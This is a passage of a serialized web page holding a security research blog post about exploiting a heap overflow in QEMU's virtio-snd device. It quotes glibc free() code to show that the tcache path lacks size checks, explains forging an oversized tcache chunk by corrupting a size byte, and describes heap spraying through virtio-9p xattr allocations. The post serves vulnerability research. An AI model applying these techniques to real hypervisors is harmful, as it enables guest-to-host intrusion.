*/\n",{"type":20,"tag":315,"props":125174,"children":125175},{"class":317,"line":513},[125176,125180,125184,125189,125194,125199,125204,125208,125212,125216,125220,125224,125229,125233],{"type":20,"tag":315,"props":125177,"children":125178},{"style":525},[125179],{"type":26,"value":29809},{"type":20,"tag":315,"props":125181,"children":125182},{"style":328},[125183],{"type":26,"value":463},{"type":20,"tag":315,"props":125185,"children":125186},{"style":345},[125187],{"type":26,"value":125188},"__builtin_expect",{"type":20,"tag":315,"props":125190,"children":125191},{"style":328},[125192],{"type":26,"value":125193}," ((",{"type":20,"tag":315,"props":125195,"children":125196},{"style":541},[125197],{"type":26,"value":125198},"uintptr_t",{"type":20,"tag":315,"props":125200,"children":125201},{"style":328},[125202],{"type":26,"value":125203},") p ",{"type":20,"tag":315,"props":125205,"children":125206},{"style":334},[125207],{"type":26,"value":8862},{"type":20,"tag":315,"props":125209,"children":125210},{"style":328},[125211],{"type":26,"value":463},{"type":20,"tag":315,"props":125213,"children":125214},{"style":541},[125215],{"type":26,"value":125198},{"type":20,"tag":315,"props":125217,"children":125218},{"style":328},[125219],{"type":26,"value":1468},{"type":20,"tag":315,"props":125221,"children":125222},{"style":334},[125223],{"type":26,"value":478},{"type":20,"tag":315,"props":125225,"children":125226},{"style":328},[125227],{"type":26,"value":125228},"size, ",{"type":20,"tag":315,"props":125230,"children":125231},{"style":765},[125232],{"type":26,"value":1063},{"type":20,"tag":315,"props":125234,"children":125235},{"style":328},[125236],{"type":26,"value":380},{"type":20,"tag":315,"props":125238,"children":125239},{"class":317,"line":521},[125240,125245,125250,125254,125259,125264,125268],{"type":20,"tag":315,"props":125241,"children":125242},{"style":334},[125243],{"type":26,"value":125244}," ||",{"type":20,"tag":315,"props":125246,"children":125247},{"style":345},[125248],{"type":26,"value":125249}," __builtin_expect",{"type":20,"tag":315,"props":125251,"children":125252},{"style":328},[125253],{"type":26,"value":463},{"type":20,"tag":315,"props":125255,"children":125256},{"style":345},[125257],{"type":26,"value":125258},"misaligned_chunk",{"type":20,"tag":315,"props":125260,"children":125261},{"style":328},[125262],{"type":26,"value":125263}," (p), ",{"type":20,"tag":315,"props":125265,"children":125266},{"style":765},[125267],{"type":26,"value":1063},{"type":20,"tag":315,"props":125269,"children":125270},{"style":328},[125271],{"type":26,"value":18116},{"type":20,"tag":315,"props":125273,"children":125274},{"class":317,"line":552},[125275,125280,125284,125289],{"type":20,"tag":315,"props":125276,"children":125277},{"style":345},[125278],{"type":26,"value":125279}," malloc_printerr",{"type":20,"tag":315,"props":125281,"children":125282},{"style":328},[125283],{"type":26,"value":463},{"type":20,"tag":315,"props":125285,"children":125286},{"style":2652},[125287],{"type":26,"value":125288},"\"free(): invalid pointer\"",{"type":20,"tag":315,"props":125290,"children":125291},{"style":328},[125292],{"type":26,"value":2214},{"type":20,"tag":315,"props":125294,"children":125295},{"class":317,"line":571},[125296],{"type":20,"tag":315,"props":125297,"children":125298},{"style":1071},[125299],{"type":26,"value":125300}," /* We know that each chunk is at least MINSIZE bytes in size or a\n",{"type":20,"tag":315,"props":125302,"children":125303},{"class":317,"line":2031},[125304],{"type":20,"tag":315,"props":125305,"children":125306},{"style":1071},[125307],{"type":26,"value":125308}," multiple of MALLOC_ALIGNMENT. */\n",{"type":20,"tag":315,"props":125310,"children":125311},{"class":317,"line":2053},[125312,125316,125320,125325,125330,125334,125339,125343,125347,125352],{"type":20,"tag":315,"props":125313,"children":125314},{"style":525},[125315],{"type":26,"value":29809},{"type":20,"tag":315,"props":125317,"children":125318},{"style":328},[125319],{"type":26,"value":463},{"type":20,"tag":315,"props":125321,"children":125322},{"style":345},[125323],{"type":26,"value":125324},"__glibc_unlikely",{"type":20,"tag":315,"props":125326,"children":125327},{"style":328},[125328],{"type":26,"value":125329}," (size ",{"type":20,"tag":315,"props":125331,"children":125332},{"style":334},[125333],{"type":26,"value":4199},{"type":20,"tag":315,"props":125335,"children":125336},{"style":328},[125337],{"type":26,"value":125338}," MINSIZE ",{"type":20,"tag":315,"props":125340,"children":125341},{"style":334},[125342],{"type":26,"value":20823},{"type":20,"tag":315,"props":125344,"children":125345},{"style":334},[125346],{"type":26,"value":11264},{"type":20,"tag":315,"props":125348,"children":125349},{"style":345},[125350],{"type":26,"value":125351},"aligned_OK",{"type":20,"tag":315,"props":125353,"children":125354},{"style":328},[125355],{"type":26,"value":125356}," (size)))\n",{"type":20,"tag":315,"props":125358,"children":125359},{"class":317,"line":2061},[125360,125364,125368,125373],{"type":20,"tag":315,"props":125361,"children":125362},{"style":345},[125363],{"type":26,"value":125279},{"type":20,"tag":315,"props":125365,"children":125366},{"style":328},[125367],{"type":26,"value":463},{"type":20,"tag":315,"props":125369,"children":125370},{"style":2652},[125371],{"type":26,"value":125372},"\"free(): invalid size\"",{"type":20,"tag":315,"props":125374,"children":125375},{"style":328},[125376],{"type":26,"value":2214},{"type":20,"tag":315,"props":125378,"children":125379},{"class":317,"line":2070},[125380],{"type":20,"tag":315,"props":125381,"children":125382},{"emptyLinePlaceholder":15},[125383],{"type":26,"value":427},{"type":20,"tag":315,"props":125385,"children":125386},{"class":317,"line":2139},[125387,125392],{"type":20,"tag":315,"props":125388,"children":125389},{"style":345},[125390],{"type":26,"value":125391}," check_inuse_chunk",{"type":20,"tag":315,"props":125393,"children":125394},{"style":328},[125395],{"type":26,"value":125396},"(av, p);\n",{"type":20,"tag":315,"props":125398,"children":125399},{"class":317,"line":2147},[125400],{"type":20,"tag":315,"props":125401,"children":125402},{"emptyLinePlaceholder":15},[125403],{"type":26,"value":427},{"type":20,"tag":315,"props":125405,"children":125406},{"class":317,"line":2177},[125407],{"type":20,"tag":315,"props":125408,"children":125409},{"style":328},[125410],{"type":26,"value":125411}," [...]\n",{"type":20,"tag":29,"props":125413,"children":125414},{},[125415],{"type":26,"value":125416},"The first check verifies that the chunk pointer itself is not misaligned. Since we do not control the pointer, this is not particularly relevant here.",{"type":20,"tag":29,"props":125418,"children":125419},{},[125420,125422,125427,125429,125434,125436,125441,125443,125448],{"type":26,"value":125421},"The next check, however, ensures that the ",{"type":20,"tag":119,"props":125423,"children":125425},{"className":125424},[],[125426],{"type":26,"value":122518},{"type":26,"value":125428}," field is 16-byte aligned. This means that the low byte we overwrite in ",{"type":20,"tag":119,"props":125430,"children":125432},{"className":125431},[],[125433],{"type":26,"value":122518},{"type":26,"value":125435}," must preserve alignment while also avoiding the ",{"type":20,"tag":119,"props":125437,"children":125439},{"className":125438},[],[125440],{"type":26,"value":124687},{"type":26,"value":125442}," bit. Under those constraints, exploiting the bug through ",{"type":20,"tag":119,"props":125444,"children":125446},{"className":125445},[],[125447],{"type":26,"value":122518},{"type":26,"value":125449}," corruption looked very unreliable at first.",{"type":20,"tag":29,"props":125451,"children":125452},{},[125453],{"type":26,"value":125454},"Still, we wanted to check how this behaved in the latest glibc 2.43:",{"type":20,"tag":305,"props":125456,"children":125458},{"code":125457,"language":1528,"meta":7,"className":14916,"style":7},"void\n__libc_free (void *mem)\n{\n mchunkptr p;\n\n p = mem2chunk (mem);\n\n INTERNAL_SIZE_T size = chunksize (p);\n\n if (__glibc_unlikely (misaligned_chunk (p)))\n return malloc_printerr_tail (\"free(): invalid pointer\");\n\n#if USE_TCACHE\n if (__glibc_likely (size \u003C mp_.tcache_max_bytes))\n {\n [...]\n\n return tcache_put (p, tc_idx);\n }\n",[125459],{"type":20,"tag":119,"props":125460,"children":125461},{"__ignoreMap":7},[125462,125470,125497,125504,125511,125518,125537,125544,125564,125571,125599,125623,125630,125643,125685,125692,125700,125707,125724],{"type":20,"tag":315,"props":125463,"children":125464},{"class":317,"line":318},[125465],{"type":20,"tag":315,"props":125466,"children":125467},{"style":541},[125468],{"type":26,"value":125469},"void\n",{"type":20,"tag":315,"props":125471,"children":125472},{"class":317,"line":356},[125473,125477,125481,125485,125489,125493],{"type":20,"tag":315,"props":125474,"children":125475},{"style":345},[125476],{"type":26,"value":124735},{"type":20,"tag":315,"props":125478,"children":125479},{"style":328},[125480],{"type":26,"value":463},{"type":20,"tag":315,"props":125482,"children":125483},{"style":541},[125484],{"type":26,"value":49879},{"type":20,"tag":315,"props":125486,"children":125487},{"style":334},[125488],{"type":26,"value":8216},{"type":20,"tag":315,"props":125490,"children":125491},{"style":635},[125492],{"type":26,"value":39081},{"type":20,"tag":315,"props":125494,"children":125495},{"style":328},[125496],{"type":26,"value":380},{"type":20,"tag":315,"props":125498,"children":125499},{"class":317,"line":365},[125500],{"type":20,"tag":315,"props":125501,"children":125502},{"style":328},[125503],{"type":26,"value":723},{"type":20,"tag":315,"props":125505,"children":125506},{"class":317,"line":374},[125507],{"type":20,"tag":315,"props":125508,"children":125509},{"style":328},[125510],{"type":26,"value":124778},{"type":20,"tag":315,"props":125512,"children":125513},{"class":317,"line":383},[125514],{"type":20,"tag":315,"props":125515,"children":125516},{"emptyLinePlaceholder":15},[125517],{"type":26,"value":427},{"type":20,"tag":315,"props":125519,"children":125520},{"class":317,"line":407},[125521,125525,125529,125533],{"type":20,"tag":315,"props":125522,"children":125523},{"style":328},[125524],{"type":26,"value":124793},{"type":20,"tag":315,"props":125526,"children":125527},{"style":334},[125528],{"type":26,"value":337},{"type":20,"tag":315,"props":125530,"children":125531},{"style":345},[125532],{"type":26,"value":124802},{"type":20,"tag":315,"props":125534,"children":125535},{"style":328},[125536],{"type":26,"value":124807},{"type":20,"tag":315,"props":125538,"children":125539},{"class":317,"line":421},[125540],{"type":20,"tag":315,"props":125541,"children":125542},{"emptyLinePlaceholder":15},[125543],{"type":26,"value":427},{"type":20,"tag":315,"props":125545,"children":125546},{"class":317,"line":430},[125547,125552,125556,125560],{"type":20,"tag":315,"props":125548,"children":125549},{"style":328},[125550],{"type":26,"value":125551}," INTERNAL_SIZE_T size ",{"type":20,"tag":315,"props":125553,"children":125554},{"style":334},[125555],{"type":26,"value":337},{"type":20,"tag":315,"props":125557,"children":125558},{"style":345},[125559],{"type":26,"value":125129},{"type":20,"tag":315,"props":125561,"children":125562},{"style":328},[125563],{"type":26,"value":124848},{"type":20,"tag":315,"props":125565,"children":125566},{"class":317,"line":453},[125567],{"type":20,"tag":315,"props":125568,"children":125569},{"emptyLinePlaceholder":15},[125570],{"type":26,"value":427},{"type":20,"tag":315,"props":125572,"children":125573},{"class":317,"line":486},[125574,125578,125582,125586,125590,125594],{"type":20,"tag":315,"props":125575,"children":125576},{"style":525},[125577],{"type":26,"value":29809},{"type":20,"tag":315,"props":125579,"children":125580},{"style":328},[125581],{"type":26,"value":463},{"type":20,"tag":315,"props":125583,"children":125584},{"style":345},[125585],{"type":26,"value":125324},{"type":20,"tag":315,"props":125587,"children":125588},{"style":328},[125589],{"type":26,"value":463},{"type":20,"tag":315,"props":125591,"children":125592},{"style":345},[125593],{"type":26,"value":125258},{"type":20,"tag":315,"props":125595,"children":125596},{"style":328},[125597],{"type":26,"value":125598}," (p)))\n",{"type":20,"tag":315,"props":125600,"children":125601},{"class":317,"line":499},[125602,125606,125611,125615,125619],{"type":20,"tag":315,"props":125603,"children":125604},{"style":525},[125605],{"type":26,"value":731},{"type":20,"tag":315,"props":125607,"children":125608},{"style":345},[125609],{"type":26,"value":125610}," malloc_printerr_tail",{"type":20,"tag":315,"props":125612,"children":125613},{"style":328},[125614],{"type":26,"value":463},{"type":20,"tag":315,"props":125616,"children":125617},{"style":2652},[125618],{"type":26,"value":125288},{"type":20,"tag":315,"props":125620,"children":125621},{"style":328},[125622],{"type":26,"value":2214},{"type":20,"tag":315,"props":125624,"children":125625},{"class":317,"line":513},[125626],{"type":20,"tag":315,"props":125627,"children":125628},{"emptyLinePlaceholder":15},[125629],{"type":26,"value":427},{"type":20,"tag":315,"props":125631,"children":125632},{"class":317,"line":521},[125633,125638],{"type":20,"tag":315,"props":125634,"children":125635},{"style":525},[125636],{"type":26,"value":125637},"#if",{"type":20,"tag":315,"props":125639,"children":125640},{"style":345},[125641],{"type":26,"value":125642}," USE_TCACHE\n",{"type":20,"tag":315,"props":125644,"children":125645},{"class":317,"line":552},[125646,125650,125654,125659,125663,125667,125672,125676,125681],{"type":20,"tag":315,"props":125647,"children":125648},{"style":525},[125649],{"type":26,"value":29809},{"type":20,"tag":315,"props":125651,"children":125652},{"style":328},[125653],{"type":26,"value":463},{"type":20,"tag":315,"props":125655,"children":125656},{"style":345},[125657],{"type":26,"value":125658},"__glibc_likely",{"type":20,"tag":315,"props":125660,"children":125661},{"style":328},[125662],{"type":26,"value":125329},{"type":20,"tag":315,"props":125664,"children":125665},{"style":334},[125666],{"type":26,"value":4199},{"type":20,"tag":315,"props":125668,"children":125669},{"style":635},[125670],{"type":26,"value":125671}," mp_",{"type":20,"tag":315,"props":125673,"children":125674},{"style":328},[125675],{"type":26,"value":61},{"type":20,"tag":315,"props":125677,"children":125678},{"style":635},[125679],{"type":26,"value":125680},"tcache_max_bytes",{"type":20,"tag":315,"props":125682,"children":125683},{"style":328},[125684],{"type":26,"value":18116},{"type":20,"tag":315,"props":125686,"children":125687},{"class":317,"line":571},[125688],{"type":20,"tag":315,"props":125689,"children":125690},{"style":328},[125691],{"type":26,"value":27602},{"type":20,"tag":315,"props":125693,"children":125694},{"class":317,"line":2031},[125695],{"type":20,"tag":315,"props":125696,"children":125697},{"style":328},[125698],{"type":26,"value":125699}," [...]\n",{"type":20,"tag":315,"props":125701,"children":125702},{"class":317,"line":2053},[125703],{"type":20,"tag":315,"props":125704,"children":125705},{"emptyLinePlaceholder":15},[125706],{"type":26,"value":427},{"type":20,"tag":315,"props":125708,"children":125709},{"class":317,"line":2061},[125710,125714,125719],{"type":20,"tag":315,"props":125711,"children":125712},{"style":525},[125713],{"type":26,"value":37773},{"type":20,"tag":315,"props":125715,"children":125716},{"style":345},[125717],{"type":26,"value":125718}," tcache_put",{"type":20,"tag":315,"props":125720,"children":125721},{"style":328},[125722],{"type":26,"value":125723}," (p, tc_idx);\n",{"type":20,"tag":315,"props":125725,"children":125726},{"class":317,"line":2070},[125727],{"type":20,"tag":315,"props":125728,"children":125729},{"style":328},[125730],{"type":26,"value":1736},{"type":20,"tag":29,"props":125732,"children":125733},{},[125734,125736,125741],{"type":26,"value":125735},"It is easy to notice that, when taking the tcache path, there are essentially no integrity checks on the ",{"type":20,"tag":119,"props":125737,"children":125739},{"className":125738},[],[125740],{"type":26,"value":122518},{"type":26,"value":125742}," field beyond the basic size-range decision needed to determine whether the chunk fits into tcache. The only explicit check here is that the pointer itself is aligned, which is not something we care about.",{"type":20,"tag":29,"props":125744,"children":125745},{},[125746,125748,125754,125755,125760],{"type":26,"value":125747},"In fact, even the version prior to 2.43 still performed more validation on the tcache path by calling ",{"type":20,"tag":119,"props":125749,"children":125751},{"className":125750},[],[125752],{"type":26,"value":125753},"check_inuse_chunk",{"type":26,"value":463},{"type":20,"tag":119,"props":125756,"children":125758},{"className":125757},[],[125759],{"type":26,"value":122646},{"type":26,"value":22362},{"type":20,"tag":305,"props":125762,"children":125764},{"code":125763,"language":1528,"meta":7,"className":14916,"style":7},"void\n__libc_free (void *mem)\n{\n mchunkptr p;\n\n p = mem2chunk (mem);\n\n INTERNAL_SIZE_T size = chunksize (p);\n\n if (__glibc_unlikely (misaligned_chunk (p)))\n return malloc_printerr_tail (\"free(): invalid pointer\");\n\n check_inuse_chunk (arena_for_chunk (p), p); // [1]\n\n#if USE_TCACHE\n if (__glibc_likely (size \u003C mp_.tcache_max_bytes && tcache != NULL))\n [...]\n",[125765],{"type":20,"tag":119,"props":125766,"children":125767},{"__ignoreMap":7},[125768,125775,125802,125809,125816,125823,125842,125849,125868,125875,125902,125925,125932,125958,125965,125976,126033],{"type":20,"tag":315,"props":125769,"children":125770},{"class":317,"line":318},[125771],{"type":20,"tag":315,"props":125772,"children":125773},{"style":541},[125774],{"type":26,"value":125469},{"type":20,"tag":315,"props":125776,"children":125777},{"class":317,"line":356},[125778,125782,125786,125790,125794,125798],{"type":20,"tag":315,"props":125779,"children":125780},{"style":345},[125781],{"type":26,"value":124735},{"type":20,"tag":315,"props":125783,"children":125784},{"style":328},[125785],{"type":26,"value":463},{"type":20,"tag":315,"props":125787,"children":125788},{"style":541},[125789],{"type":26,"value":49879},{"type":20,"tag":315,"props":125791,"children":125792},{"style":334},[125793],{"type":26,"value":8216},{"type":20,"tag":315,"props":125795,"children":125796},{"style":635},[125797],{"type":26,"value":39081},{"type":20,"tag":315,"props":125799,"children":125800},{"style":328},[125801],{"type":26,"value":380},{"type":20,"tag":315,"props":125803,"children":125804},{"class":317,"line":365},[125805],{"type":20,"tag":315,"props":125806,"children":125807},{"style":328},[125808],{"type":26,"value":723},{"type":20,"tag":315,"props":125810,"children":125811},{"class":317,"line":374},[125812],{"type":20,"tag":315,"props":125813,"children":125814},{"style":328},[125815],{"type":26,"value":124778},{"type":20,"tag":315,"props":125817,"children":125818},{"class":317,"line":383},[125819],{"type":20,"tag":315,"props":125820,"children":125821},{"emptyLinePlaceholder":15},[125822],{"type":26,"value":427},{"type":20,"tag":315,"props":125824,"children":125825},{"class":317,"line":407},[125826,125830,125834,125838],{"type":20,"tag":315,"props":125827,"children":125828},{"style":328},[125829],{"type":26,"value":124793},{"type":20,"tag":315,"props":125831,"children":125832},{"style":334},[125833],{"type":26,"value":337},{"type":20,"tag":315,"props":125835,"children":125836},{"style":345},[125837],{"type":26,"value":124802},{"type":20,"tag":315,"props":125839,"children":125840},{"style":328},[125841],{"type":26,"value":124807},{"type":20,"tag":315,"props":125843,"children":125844},{"class":317,"line":421},[125845],{"type":20,"tag":315,"props":125846,"children":125847},{"emptyLinePlaceholder":15},[125848],{"type":26,"value":427},{"type":20,"tag":315,"props":125850,"children":125851},{"class":317,"line":430},[125852,125856,125860,125864],{"type":20,"tag":315,"props":125853,"children":125854},{"style":328},[125855],{"type":26,"value":125551},{"type":20,"tag":315,"props":125857,"children":125858},{"style":334},[125859],{"type":26,"value":337},{"type":20,"tag":315,"props":125861,"children":125862},{"style":345},[125863],{"type":26,"value":125129},{"type":20,"tag":315,"props":125865,"children":125866},{"style":328},[125867],{"type":26,"value":124848},{"type":20,"tag":315,"props":125869,"children":125870},{"class":317,"line":453},[125871],{"type":20,"tag":315,"props":125872,"children":125873},{"emptyLinePlaceholder":15},[125874],{"type":26,"value":427},{"type":20,"tag":315,"props":125876,"children":125877},{"class":317,"line":486},[125878,125882,125886,125890,125894,125898],{"type":20,"tag":315,"props":125879,"children":125880},{"style":525},[125881],{"type":26,"value":29809},{"type":20,"tag":315,"props":125883,"children":125884},{"style":328},[125885],{"type":26,"value":463},{"type":20,"tag":315,"props":125887,"children":125888},{"style":345},[125889],{"type":26,"value":125324},{"type":20,"tag":315,"props":125891,"children":125892},{"style":328},[125893],{"type":26,"value":463},{"type":20,"tag":315,"props":125895,"children":125896},{"style":345},[125897],{"type":26,"value":125258},{"type":20,"tag":315,"props":125899,"children":125900},{"style":328},[125901],{"type":26,"value":125598},{"type":20,"tag":315,"props":125903,"children":125904},{"class":317,"line":499},[125905,125909,125913,125917,125921],{"type":20,"tag":315,"props":125906,"children":125907},{"style":525},[125908],{"type":26,"value":731},{"type":20,"tag":315,"props":125910,"children":125911},{"style":345},[125912],{"type":26,"value":125610},{"type":20,"tag":315,"props":125914,"children":125915},{"style":328},[125916],{"type":26,"value":463},{"type":20,"tag":315,"props":125918,"children":125919},{"style":2652},[125920],{"type":26,"value":125288},{"type":20,"tag":315,"props":125922,"children":125923},{"style":328},[125924],{"type":26,"value":2214},{"type":20,"tag":315,"props":125926,"children":125927},{"class":317,"line":513},[125928],{"type":20,"tag":315,"props":125929,"children":125930},{"emptyLinePlaceholder":15},[125931],{"type":26,"value":427},{"type":20,"tag":315,"props":125933,"children":125934},{"class":317,"line":521},[125935,125939,125943,125948,125953],{"type":20,"tag":315,"props":125936,"children":125937},{"style":345},[125938],{"type":26,"value":125391},{"type":20,"tag":315,"props":125940,"children":125941},{"style":328},[125942],{"type":26,"value":463},{"type":20,"tag":315,"props":125944,"children":125945},{"style":345},[125946],{"type":26,"value":125947},"arena_for_chunk",{"type":20,"tag":315,"props":125949,"children":125950},{"style":328},[125951],{"type":26,"value":125952}," (p), p);",{"type":20,"tag":315,"props":125954,"children":125955},{"style":1071},[125956],{"type":26,"value":125957}," // [1]\n",{"type":20,"tag":315,"props":125959,"children":125960},{"class":317,"line":552},[125961],{"type":20,"tag":315,"props":125962,"children":125963},{"emptyLinePlaceholder":15},[125964],{"type":26,"value":427},{"type":20,"tag":315,"props":125966,"children":125967},{"class":317,"line":571},[125968,125972],{"type":20,"tag":315,"props":125969,"children":125970},{"style":525},[125971],{"type":26,"value":125637},{"type":20,"tag":315,"props":125973,"children":125974},{"style":345},[125975],{"type":26,"value":125642},{"type":20,"tag":315,"props":125977,"children":125978},{"class":317,"line":2031},[125979,125983,125987,125991,125995,125999,126003,126007,126011,126015,126020,126024,126029],{"type":20,"tag":315,"props":125980,"children":125981},{"style":525},[125982],{"type":26,"value":29809},{"type":20,"tag":315,"props":125984,"children":125985},{"style":328},[125986],{"type":26,"value":463},{"type":20,"tag":315,"props":125988,"children":125989},{"style":345},[125990],{"type":26,"value":125658},{"type":20,"tag":315,"props":125992,"children":125993},{"style":328},[125994],{"type":26,"value":125329},{"type":20,"tag":315,"props":125996,"children":125997},{"style":334},[125998],{"type":26,"value":4199},{"type":20,"tag":315,"props":126000,"children":126001},{"style":635},[126002],{"type":26,"value":125671},{"type":20,"tag":315,"props":126004,"children":126005},{"style":328},[126006],{"type":26,"value":61},{"type":20,"tag":315,"props":126008,"children":126009},{"style":635},[126010],{"type":26,"value":125680},{"type":20,"tag":315,"props":126012,"children":126013},{"style":334},[126014],{"type":26,"value":12586},{"type":20,"tag":315,"props":126016,"children":126017},{"style":328},[126018],{"type":26,"value":126019}," tcache ",{"type":20,"tag":315,"props":126021,"children":126022},{"style":334},[126023],{"type":26,"value":14089},{"type":20,"tag":315,"props":126025,"children":126026},{"style":541},[126027],{"type":26,"value":126028}," NULL",{"type":20,"tag":315,"props":126030,"children":126031},{"style":328},[126032],{"type":26,"value":18116},{"type":20,"tag":315,"props":126034,"children":126035},{"class":317,"line":2053},[126036],{"type":20,"tag":315,"props":126037,"children":126038},{"style":328},[126039],{"type":26,"value":125411},{"type":20,"tag":29,"props":126041,"children":126042},{},[126043,126045,126050],{"type":26,"value":126044},"This means that as long as we can reliably force the corrupted chunk down the tcache path, we no longer need to worry much about integrity checks on ",{"type":20,"tag":119,"props":126046,"children":126048},{"className":126047},[],[126049],{"type":26,"value":122518},{"type":26,"value":126051},", because on the latest 2.43 glibc they are non-existent.",{"type":20,"tag":17197,"props":126053,"children":126054},{},[],{"type":20,"tag":29,"props":126056,"children":126057},{},[126058,126060,126065,126067,126073,126075,126080,126082,126088],{"type":26,"value":126059},"With that in mind, the idea we settled on was to allocate a chunk whose ",{"type":20,"tag":119,"props":126061,"children":126063},{"className":126062},[],[126064],{"type":26,"value":122518},{"type":26,"value":126066}," field was initially ",{"type":20,"tag":119,"props":126068,"children":126070},{"className":126069},[],[126071],{"type":26,"value":126072},"0x200",{"type":26,"value":126074},", then trigger the overflow and corrupt only its low byte. If the byte written is at least ",{"type":20,"tag":119,"props":126076,"children":126078},{"className":126077},[],[126079],{"type":26,"value":124695},{"type":26,"value":126081},", the resulting value would correspond to a larger, tcache-eligible, size in range ",{"type":20,"tag":119,"props":126083,"children":126085},{"className":126084},[],[126086],{"type":26,"value":126087},"[0x210, 0x2f0]",{"type":26,"value":126089},". That would let us free the chunk as an oversized entry into the tcache freelist, which we could later reclaim and overlap chunks for a better primitive.",{"type":20,"tag":29,"props":126091,"children":126092},{},[126093],{"type":26,"value":126094},"This approach gives us much better odds of success. In fact, with the stream configuration we use later, we can make this behavior reliable enough to exploit consistently.",{"type":20,"tag":219,"props":126096,"children":126098},{"id":126097},"heap-spraying",[126099],{"type":26,"value":126100},"Heap Spraying",{"type":20,"tag":29,"props":126102,"children":126103},{},[126104,126106,126111],{"type":26,"value":126105},"With that idea in mind, we now need a way to shape the heap so that a ",{"type":20,"tag":119,"props":126107,"children":126109},{"className":126108},[],[126110],{"type":26,"value":126072},{"type":26,"value":126112},"-sized chunk is placed immediately after the vulnerable virtio-snd buffer. In addition, we need to drain any existing entries from the relevant tcache freelist so that it is not full when we later free the corrupted oversized chunk.",{"type":20,"tag":29,"props":126114,"children":126115},{},[126116,126118,126123],{"type":26,"value":126117},"Unfortunately, while virtio-snd does provide some heap spraying primitives through its buffer allocations, they are fairly limited. For example, we could only allocate up to 64 buffers at a time. On top of that, ",{"type":20,"tag":119,"props":126119,"children":126121},{"className":126120},[],[126122],{"type":26,"value":122713},{"type":26,"value":126124}," is a FIFO queue, so we could not control the order in which those buffers were freed - they would always be released in the same order they were inserted.",{"type":20,"tag":29,"props":126126,"children":126127},{},[126128],{"type":26,"value":126129},"For the purposes of this blog post, we therefore enabled another virtio device to help with heap shaping.",{"type":20,"tag":17297,"props":126131,"children":126133},{"id":126132},"virtio-9p",[126134],{"type":26,"value":126132},{"type":20,"tag":29,"props":126136,"children":126137},{},[126138,126143],{"type":20,"tag":119,"props":126139,"children":126141},{"className":126140},[],[126142],{"type":26,"value":126132},{"type":26,"value":126144}," is a paravirtualized filesystem device that lets the guest access a directory exported by the host through the 9P protocol. The part that interested us most was its handling of extended attributes, or xattrs.",{"type":20,"tag":29,"props":126146,"children":126147},{},[126148,126150,126156,126158,126164,126165,126171,126173,126178],{"type":26,"value":126149},"Through a ",{"type":20,"tag":119,"props":126151,"children":126153},{"className":126152},[],[126154],{"type":26,"value":126155},"P9_TXATTRCREATE",{"type":26,"value":126157}," request, we can allocate host-side buffers for both the ",{"type":20,"tag":119,"props":126159,"children":126161},{"className":126160},[],[126162],{"type":26,"value":126163},".name",{"type":26,"value":9392},{"type":20,"tag":119,"props":126166,"children":126168},{"className":126167},[],[126169],{"type":26,"value":126170},".value",{"type":26,"value":126172}," fields, with the size of ",{"type":20,"tag":119,"props":126174,"children":126176},{"className":126175},[],[126177],{"type":26,"value":126170},{"type":26,"value":126179}," being directly controlled by the guest.",{"type":20,"tag":305,"props":126181,"children":126183},{"code":126182,"language":1528,"meta":7,"className":14916,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n int flags, rflags = 0;\n int32_t fid;\n uint64_t size;\n ssize_t err = 0;\n V9fsString name;\n size_t offset = 7;\n V9fsFidState *file_fidp;\n V9fsFidState *xattr_fidp;\n V9fsPDU *pdu = opaque;\n\n v9fs_string_init(&name);\n err = pdu_unmarshal(pdu, offset, \"dsqd\", &fid, &name, &size, &flags);\n if (err \u003C 0) {\n goto out_nofid;\n }\n\n [...]\n\n if (size > P9_XATTR_SIZE_MAX) {\n err = -E2BIG;\n goto out_nofid;\n }\n\n [...]\n\n v9fs_string_init(&xattr_fidp->fs.xattr.name);\n v9fs_string_copy(&xattr_fidp->fs.xattr.name, &name);\n xattr_fidp->fs.xattr.value = g_malloc0(size);\n}\n",[126184],{"type":20,"tag":119,"props":126185,"children":126186},{"__ignoreMap":7},[126187,126229,126236,126260,126273,126284,126309,126317,126342,126359,126375,126401,126408,126429,126495,126519,126532,126539,126546,126553,126560,126580,126601,126612,126619,126626,126633,126640,126689,126745,126790],{"type":20,"tag":315,"props":126188,"children":126189},{"class":317,"line":318},[126190,126194,126198,126203,126208,126212,126216,126220,126225],{"type":20,"tag":315,"props":126191,"children":126192},{"style":541},[126193],{"type":26,"value":49296},{"type":20,"tag":315,"props":126195,"children":126196},{"style":541},[126197],{"type":26,"value":49301},{"type":20,"tag":315,"props":126199,"children":126200},{"style":328},[126201],{"type":26,"value":126202}," coroutine_fn ",{"type":20,"tag":315,"props":126204,"children":126205},{"style":345},[126206],{"type":26,"value":126207},"v9fs_xattrcreate",{"type":20,"tag":315,"props":126209,"children":126210},{"style":328},[126211],{"type":26,"value":1049},{"type":20,"tag":315,"props":126213,"children":126214},{"style":541},[126215],{"type":26,"value":49879},{"type":20,"tag":315,"props":126217,"children":126218},{"style":334},[126219],{"type":26,"value":8216},{"type":20,"tag":315,"props":126221,"children":126222},{"style":635},[126223],{"type":26,"value":126224},"opaque",{"type":20,"tag":315,"props":126226,"children":126227},{"style":328},[126228],{"type":26,"value":380},{"type":20,"tag":315,"props":126230,"children":126231},{"class":317,"line":356},[126232],{"type":20,"tag":315,"props":126233,"children":126234},{"style":328},[126235],{"type":26,"value":723},{"type":20,"tag":315,"props":126237,"children":126238},{"class":317,"line":365},[126239,126243,126248,126252,126256],{"type":20,"tag":315,"props":126240,"children":126241},{"style":541},[126242],{"type":26,"value":17481},{"type":20,"tag":315,"props":126244,"children":126245},{"style":328},[126246],{"type":26,"value":126247}," flags, rflags ",{"type":20,"tag":315,"props":126249,"children":126250},{"style":334},[126251],{"type":26,"value":337},{"type":20,"tag":315,"props":126253,"children":126254},{"style":765},[126255],{"type":26,"value":985},{"type":20,"tag":315,"props":126257,"children":126258},{"style":328},[126259],{"type":26,"value":1405},{"type":20,"tag":315,"props":126261,"children":126262},{"class":317,"line":374},[126263,126268],{"type":20,"tag":315,"props":126264,"children":126265},{"style":541},[126266],{"type":26,"value":126267}," int32_t",{"type":20,"tag":315,"props":126269,"children":126270},{"style":328},[126271],{"type":26,"value":126272}," fid;\n",{"type":20,"tag":315,"props":126274,"children":126275},{"class":317,"line":383},[126276,126280],{"type":20,"tag":315,"props":126277,"children":126278},{"style":541},[126279],{"type":26,"value":53865},{"type":20,"tag":315,"props":126281,"children":126282},{"style":328},[126283],{"type":26,"value":122860},{"type":20,"tag":315,"props":126285,"children":126286},{"class":317,"line":407},[126287,126292,126297,126301,126305],{"type":20,"tag":315,"props":126288,"children":126289},{"style":541},[126290],{"type":26,"value":126291}," 